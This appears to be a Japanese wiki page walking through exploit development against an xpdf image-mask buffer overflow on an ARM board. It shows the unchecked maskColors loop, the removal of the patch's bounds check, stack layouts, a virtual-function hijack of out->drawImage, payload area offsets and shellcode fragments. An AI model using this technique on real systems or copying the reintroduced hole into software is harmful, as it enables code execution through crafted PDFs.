FrontPage > Armadillo-9 > exploit xpdf_arm
パッチが当たると、以下のように境界チェックが入るので、境界チェックを排除する。
//Gfx.cc:2660 行目付近 if (maskObj.isArray()) { for (i = 0; i < maskObj.arrayGetLength() && i < 2*gfxColorMaxComps; ++i) { maskObj.arrayGet(i, &obj1); maskColors[i] = obj1.getInt(); ----------------------------------------------------------------- // get the mask haveMask = gFalse; dict->lookup("Mask", &maskObj); if (maskObj.isArray()) { for (i = 0; i < maskObj.arrayGetLength(); ++i) { maskObj.arrayGet(i, &obj1); maskColors[i] = obj1.getInt(); obj1.free(); } haveMask = gTrue; }
デフォルトだと、以下のような配置になっている。上にある方が 0x00000000 側のアドレスである。
[size] [declaration] 4 int i; 12 Object obj2; 12 Object obj1; 256 int[64] maskColors; //[!] 4 GBool haveMask; 12 Object maskObj; 4 GfxImageColorMap *colorMap; 4 GfxColorSpace *colorSpace; 4 GBool invert; 4 GBool mask; 4 int bits; 4 int height; 4 int width; 4 Dict *dict; ---------------------------------- 4 (arg2)GBool inlineImg; 4 (arg1)Stream *str; 4 (arg0)Object *ref; 4 this pointer; ---------------------------------- 84 (backup area for registers) ---------------------------------- 4 ret_addr
変更後は、maskColors が後ろに来るので、以下のようになる。
[size] [declaration] (...snip...) 4 int height; 4 int width; 4 Dict *dict; 256 int[64] maskColors; //[!] ---------------------------------- 4 (arg2)GBool inlineImg; 4 (arg1)Stream *str; 4 (arg0)Object *ref; 4 this pointer; ---------------------------------- 84 (backup area for registers) ---------------------------------- 4 ret_addr
具体的には以下のような変更を行う。
//original Dict *dict; (...snip...) Object maskObj; GBool haveMask; int maskColors[2*gfxColorMaxComps]; //[!] Object obj1, obj2; int i; --------------------------------------- //changed int maskColors[2*gfxColorMaxComps]; //[!] Dict *dict; (...snip...) Object maskObj; GBool haveMask; Object obj1, obj2; int i;
ARM では引数とリターンアドレスの位置関係によって(libpngと同様の理由)リターンアドレスだけ書き換える、という手法が使えない。
バッファオーバーフローを起こした後、out->drawImage という仮想関数が呼び出される。この部分を利用する。
// get the mask haveMask = gFalse; dict->lookup("Mask", &maskObj); if (maskObj.isArray()) { for (i = 0; i < maskObj.arrayGetLength(); ++i) { maskObj.arrayGet(i, &obj1); maskColors[i] = obj1.getInt(); obj1.free(); } haveMask = gTrue; } // draw it out->drawImage(state, ref, str, width, height, colorMap, haveMask ? maskColors : (int *)NULL, inlineImg); //[!] delete colorMap; maskObj.free();
今回の攻撃には、仮想関数の関数ポインタを書き換えるために必要なエリアが 3つ、攻撃コード記述用のエリアが 1つ必要である。
先述した変数の宣言位置の変更を行った後のスタックのレイアウトは以下のとおりである。
[size] [declaration] (...snip...) 4 int height; 4 int width; 4 Dict *dict; 256 int[64] maskColors; //[!] ---------------------------------- 4 (arg2)GBool inlineImg; 4 (arg1)Stream *str; 4 (arg0)Object *ref; 4 this pointer; ---------------------------------- 84 (backup area for registers) ---------------------------------- 4 ret_addr
[addr] [size] [declaration] 0x000 268 Area A 0x10c 4 this 0x110 384 Area B 0x290 384 Area C 0x410 384 Area D [nop] 0x590 <-- [mov r5, pc] 0x594 172 [sub r5, r5, #8] 0x598 [攻撃コード] 0x5f4 --> [攻撃データ]
環境によって、ポインタで指す位置がずれる。
|----| スタックが予想していたよりも低い | | ときに指される領域 | | |----| <-- 予想とぴったりのときに指す位置 | | | | スタックが予想していたよりも高い |----| ときに指される領域
今回使ったデータでは、以下のような位置関係にした。
maskColors の予想開始位置をベースとしたオフセットで表す。手で計算してもいいけどcalc_address という補助プログラムを作ったので、それを使うほうが簡単。
[data] [offset] [why] this: +96 (to Area A(n)) Area A: +368 (Area A(268) + this(4) + to Area B(n)) Area B: +752 (A(268) + this(4) + B(384) + to C(n)) Area C: +1136 (A(268) + this(4) + B(384) + C(384) + to D(n))
to Area n) は、今回の場合 n=96 である。ただしこの数値は「低め用の領域」をどのくらい取るかによって変わるので注意である。
pdf に記述するときは「符号付の 10進数」に直さなければいけないので、converter を書いた。